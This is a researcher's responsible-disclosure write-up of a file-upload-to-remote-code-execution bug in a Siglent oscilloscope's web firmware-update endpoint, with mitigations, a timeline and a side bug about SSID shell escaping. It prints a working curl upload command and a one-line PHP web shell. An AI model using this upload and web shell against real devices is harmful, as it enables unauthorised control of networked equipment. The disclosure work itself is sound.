Remote Code Execution on the Siglent SDS1104X-E
Back in 2021, I found an unrestricted file upload vulnerability on my Siglent SDS1104X-E oscilloscope that could be escalated to remote code execution. This is a writeup of that bug.
The vulnerability#
The SDS1104X-E ran a web interface that let you interact with the oscilloscope over the network. One of the endpoints, /deviceupdate.php, was meant for firmware updates but didn’t validate the uploaded file type or restrict where uploaded files ended up.
The exploit was trivial:
curl -X POST \
-F 'in_device_version=@./test.php' \
--header "Expect: " \
http://<scope-ip>/deviceupdate.php
This uploaded any file to /web_img/ on the oscilloscope. Since the device ran PHP, you could execute the uploaded file by simply visiting:
http://<scope-ip>/web_img/test.php
With a test.php like:
<?php
system($_GET['cmd']);
?>
You now had a shell on the oscilloscope. This bypassed any password protection on the device. From there, you could move laterally (enabling SSH, for example) and persist on the device.
Impact#
Realistically, most people don’t leave their oscilloscope exposed on an untrusted network. But you do occasionally find them open to the web on improperly configured networks. And if you’re on a shared lab network or someone has network access to your equipment, they could run arbitrary code on your scope.
Responsible disclosure#
I reported this to Siglent on February 14, 2021. They were responsive. Their team got back to me within a week and relayed the bug report to their engineering team.
I recommended two mitigations: restricting uploads to .ADS files only (the firmware update format), and moving uploaded files to a directory that isn’t web-accessible. That way, even if someone bypassed the file type restriction, they wouldn’t be able to execute the uploaded file.
They estimated about 2 months for a firmware release since they had other issues to address. I agreed to wait for the fix before publishing anything.
Bonus bug fix: WiFi SSIDs with spaces#
This was the whole reason I was poking around in the first place. My WiFi network has spaces in its SSID, and my oscilloscope wouldn’t connect to it. This was a known issue on the EEVBlog forums, but nobody had figured out the root cause. I wanted to debug it, so I started looking for a way into the device.
Once I had shell access, I found the problem. The device used wpa_passphrase to generate the wpa_supplicant.conf file but didn’t escape the SSID or passphrase. So instead of:
wpa_passphrase "My Network" "hunter2"
It ran:
wpa_passphrase My Network hunter2
This set the SSID to “My” and the key to “Network”. Classic shell escaping bug. I passed this along to Siglent as well.
The good news: Siglent fixed this too! Firmware 6.1.37R2 (released August 24, 2021) added support for special characters in SSIDs and passwords.
Timeline#
- Feb 14, 2021: Reported vulnerability via Siglent contact form
- Feb 22, 2021: Siglent acknowledged and asked me to hold off on disclosure
- Feb 23, 2021: Discussed mitigations with their R&D team
- Aug 24, 2021: Firmware 6.1.37R2 released with fixes
- Dec 23, 2025: Public disclosure